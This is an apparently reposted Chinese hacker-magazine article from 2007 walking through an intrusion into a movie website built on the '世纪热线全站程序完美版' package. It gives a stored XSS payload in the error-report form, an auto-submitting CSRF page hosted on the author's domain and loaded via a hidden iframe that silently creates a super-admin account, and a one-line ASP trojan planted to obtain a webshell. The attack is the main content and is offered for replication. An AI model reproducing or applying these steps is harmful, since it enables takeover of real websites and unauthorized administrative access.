 |
跨出权限——世纪热线全站程序完美版漏洞利用
www.hx99.org 阅读: 时间:2007-07-09 整理:华西黑盟
------------------------------------------------------------------ |
作者:樱花浪子[I.S.T] 注:本文首发于黑客手册,.转载请注明来源
06年就这样像3389离我而去,07年就像4489在迎接着我们。不知不觉又长了一岁。06年可以说是注入淡却的一年。不过新的技术也在增长。 跨站虽然算不上新的技术。但在国外也是非常重视的。其实跨站代码如果构造好的话可以干出很多事来的。这不,在网上逛到了一个电影网站。 心想如果把这个站拿下来不就可以看免费的电影了。(动机不太好呀^_^)。发现程序用的是:"世纪热线全站程序完美版"于是去百度搜一下也没发有漏 洞。那么就自己下回来慢慢研究吧。
可以说这套程序在注入方面防范的还不错。但是跨站方面好象就没有做到家了。经过仔细的查找,终于被我找到了一点软胁。首先我们先注册 个用户。一般电影网站都提供影片报错的页面。这个也不例外。我们在首页随便点击一个影片。下面有个报告错误。点一下之后会打开一个页面。 因为这个报告错误只有管理员能看,我们在报告错误里写上"<>alert("樱花找漏洞了")</>",如图1所示。
点开始报告,我们再去后台的电影管理/错误报告去看一下,跨站代码被成功执行了。如图2所示。
既然这个能执行,我们在来构造一些特殊的 代码吧。后台有个添加管理员的,我们先来看看它的代码是怎么实现的,添加管理员的关键代码如下:
<formmethod="post"action="saveuser1.asp"name="form1"onsubmit="java:returncheck();"> <tablewidth="396"border="0"cellspacing="1"cellpadding="0"> <trbgcolor="#0099FF"> <tdheight="25"width="392"> <divalign="center"> <fontsize="2">新增管理员</font></div> </td> </tr> <tr> <tdheight="30"style="color:black;border-style:none"width="253"> <divalign="center"> <fontsize="2">用户名 <inputtype="text"name="username"size="20"> </font> </div> </td> <tdheight="30"style="color:black;border-style:none"width="138"> </td> </tr> <tr> <tdheight="30"style="color:black;border-style:none"width="253"> <divalign="center"> <fontsize="2">初始密码 <inputtype="password"name="newpin"size="20"> </font> </div> </td> <tdheight="30"style="color:black;border-style:none"width="138"> <spanlang="zh-cn"><fontsize="2">数字+字母10位以上</font></span></td> </tr> <tr> <tdheight="30"style="color:black;border-style:none"width="253"> <divalign="center"> <fontsize="2">确认密码 <inputtype="password"name="re_newpin"size="20"> </font> </div> </td> <tdheight="30"style="color:black;border-style:none"width="138"> <spanlang="zh-cn"><fontsize="2">数字+字母10位以上</font></span></td> </tr> <tr> <tdheight="30"style="color:black;border-style:none"width="253"> <palign="center"><spanlang="zh-cn"> </span>权限设置<spanlang="zh-cn"> </span><selectsize="1"name="flag"> <optionselected="4">====无管理权限====</option> <option="3">====初级管理员====</option> <option="2">====高级管理员====</option> <option="1">====超级管理员====</option> </select></td> <tdheight="30"style="color:black;border-style:none"width="138"> </td> </tr> </table> <p><inputtype="submit"name="Submit"="确定"></p> </form>
其实这个我们只在稍稍改动一下就可以了,改好的代码如下:
<formmethod="post"action="http://127.0.0.1/admin/saveuser1.asp"> <tablewidth="396"border="0"cellspacing="1"cellpadding="0"> <trbgcolor="#0099FF"> <tdheight="25"width="392"> <divalign="center"> <fontsize="2">新增管理员</font></div> </td> </tr> <tr> <tdheight="30"style="color:black;border-style:none"width="253"> <divalign="center"> <fontsize="2">用户名 <inputtype="text"name="username"size="20"="hacklu119">'添加管理员名字 </font> </div> </td> <tdheight="30"style="color:black;border-style:none"width="138"> </td> </tr> <tr> <tdheight="30"style="color:black;border-style:none"width="253"> <divalign="center"> <fontsize="2">初始密码 <inputtype="password"name="newpin"size="20"="hack11911">'添加管理员密码 </font> </div> </td> <tdheight="30"style="color:black;border-style:none"width="138"> <spanlang="zh-cn"><fontsize="2">数字+字母10位以上</font></span></td> </tr> <tr> <tdheight="30"style="color:black;border-style:none"width="253"> <divalign="center"> <fontsize="2">确认密码 <inputtype="password"name="re_newpin"size="20"="hack11911">'确认管理员密码 </font> </div> </td> <tdheight="30"style="color:black;border-style:none"width="138"> <spanlang="zh-cn"><fontsize="2">数字+字母10位以上</font></span></td> </tr> <tr> <tdheight="30"style="color:black;border-style:none"width="253"> <palign="center"><spanlang="zh-cn"> </span>权限设置<spanlang="zh-cn"> </span><selectsize="1"name="flag"> <optionselected="1">====无管理权限====</option> '设置为超级管理员,注意这里是1 <option="3">====初级管理员====</option> <option="2">====高级管理员====</option> <option="1">====超级管理员====</option> </select></td> <tdheight="30"style="color:black;border-style:none"width="138"> </td> </tr> </table> <p><inputtype="submit"name="Submit"="确定"></p>
<p> </p> <palign="center"> <language="java"> '用java脚本叫程序自动运行 this.forms[0].submit() </> </div> </form>
最重要的就是action后的路径和最后自动运行的脚本,路径大家一定要对上。把上面的代码为hacklu.htm上传到自己的空间。然后再来到错误 报告的地方写上我们的挂马代码:<isrc=http://www.hacklu.net/tu/hacklu.htmwidth=0height=0></i>,是我空 间的地址。这样管理员在看错误报告的时候就会添加一个名为:hacklu119的超级管理员。如图3、图4所示。
其实我们还可以构造备份WEBSHELL什么的,只是这个后台没有备份数据库的功能。所以得到WEBSHELL有一定的困难。刚开始我在添加电影的地 方上传ASP木马。又是抓名又是改扩展名的,可惜还没有成功。后来不经意发现原来这个数据库是ASP的,那么就好办了。只接在添加电影的地方 写上我们的一句话的ASP木马,如图5所示。
最后添加一下我们用客户端连接如图6所示,连接成功后会生成killbase.asp文件。最后成功得到WEBSHELL。见图7。
不过如果数据库改了名字的话,那么得WEBSHELL就不容易了。最后欢迎大家到NOHACK/BBS和我交流。我的ID是樱花浪子。
|
|
| ------------------------------------------------------------------------------------------- |
上一篇:dvbbs sql 得WebShell的分析报告 下一篇:社会工程学---信息安全对抗新领域 |
| ------------------------------------------------------------------------------------------- |
|
|
|
 |
|
|